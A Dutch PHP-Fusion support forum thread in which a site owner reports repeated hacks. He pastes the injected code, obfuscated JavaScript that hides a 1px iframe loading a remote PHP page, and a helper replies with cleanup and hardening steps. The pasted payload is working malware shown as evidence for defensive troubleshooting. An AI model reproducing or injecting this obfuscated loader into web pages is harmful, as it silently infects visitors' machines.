pHpFusion Nederlands (BE|NL) » Ondersteuning, Themas, Infusies, Modificaties en Installatie

Posted by daams87 on 26 March 2013, 17:49

Hallo,

Mijn website is gister gehackt nu dacht ik dat het kwam door bepaalde infusions dus heb hem er gister opnieuw opgezet zonder ook maar 1 infusion, maar hij is nu weer gehackt.
Heeft iemand enig idee wat ik hieraan kan doen.

Hij injecteerd een code in al mijn .php bestanden.

Code

                                                                                                                                                                                                                                                          ff=String;fff=\"fromCharCode\";ff=ff[fff]zz=3;try{document.body&=5151}catch(gdsgd){v=\"eva\"+\"l\";if(document)try{document.body=12;}catch(gdsgsdg){vzs=0;try{document;}catch(q){vzs=1;}}if(!vzs)e=window[v]if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0160,0164,0166,0167,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0163,0145,0164,0143,0157,0156,056,0160,0154,057,0146,0164,0160,057,0143,0156,0164,056,0160,0150,0160,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0160,0164,0166,0167,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0160,0164,0166,0167,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0160,0164,0166,0167,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0160,0164,0166,0167,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[]if(window.document)for(i=2-2;-i+478!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(window.document)if(v)xz(s)}";



#/8f4d8e#

?>

Posted by daams87 on 27 March 2013, 17:16

Nee het is niet echt schadelijk heb hem een keer bekeken toen ik nog geen goede virusscanner had je krijgt dan het zogeheten ''politievirus'' maar die kun je eenvoudig verweideren in veilige modus.

Mijn website is dennis-daams[dot]nl, ik gebruik hierop de nieuwste versie van php fusion v7.02.06

En ik heb mijn hosting bij antagonist, maar hier ligt het niet aan heb al 3 verschillende geprobeert. en ook nog mailtjes gestuurd maar volgens hen kan het daar niet aan liggen.

Alvast bedankt voor je snelle reactie

groeten dennis

Edited by daams87 on 01 January 1970, 00:00

Posted by Wanabo on 27 March 2013, 17:43

Nou het is toch ernstiger dan ik dacht. NIS blokkeerde een "Mass injection" poging.
Er is dus echt een probleem met je site.

Je reactie kan ik niet helemaal plaatsen. Bij 3 verschillende hosters heb je hetzelfde probleem?

Ik heb op de engels talige moedersite al veel gelezen over recent gehackte sites. Tot nu toe heb ik geen beeld waaraan het kan liggen. Wat onbesproken is gebleven zijn de hosting omstandigheden. En ik vermoed dat nu juist daar het probleem ligt.

Als er een lek in php-fusion zit dat zou dat al veel massaler uitgebuit zijn. Ik vermoed dus dat het aan andere lekke software ligt (Joomla, Wordpress, etc).

Op het moment dat daar het lek uitgebuit wordt is de hele server en ALLE andere software te infecteren.

Zorg dat je hoster de basedir restriction aan heeft staan.

Wat kan je zelf doen.
1. Je hele website (alle bestanden) wissen behalve config.php.
2. Bestanden uit het installatiepakket uploaden en config.php terugplaatsen.
3. Geen infusies gebruiken die niet in het installatie pakket zitten.
4. Aangezien je database nog aanwezig is zou je site weer moeten werken. (Zet e.v. een oudere database terug van voor de hack)

Hou je bovenstaande problemen, dan kan het probleem in de database zitten. B.v. in de eigen pagina's of nieuws. Je zult dan echt de database na moeten lopen op foute code.

Als je site weer "schoon" is kun je deze software gebruiken om je site te beschermen. http://www.crawltrack.net/

Edited by Wanabo on 01 January 1970, 00:00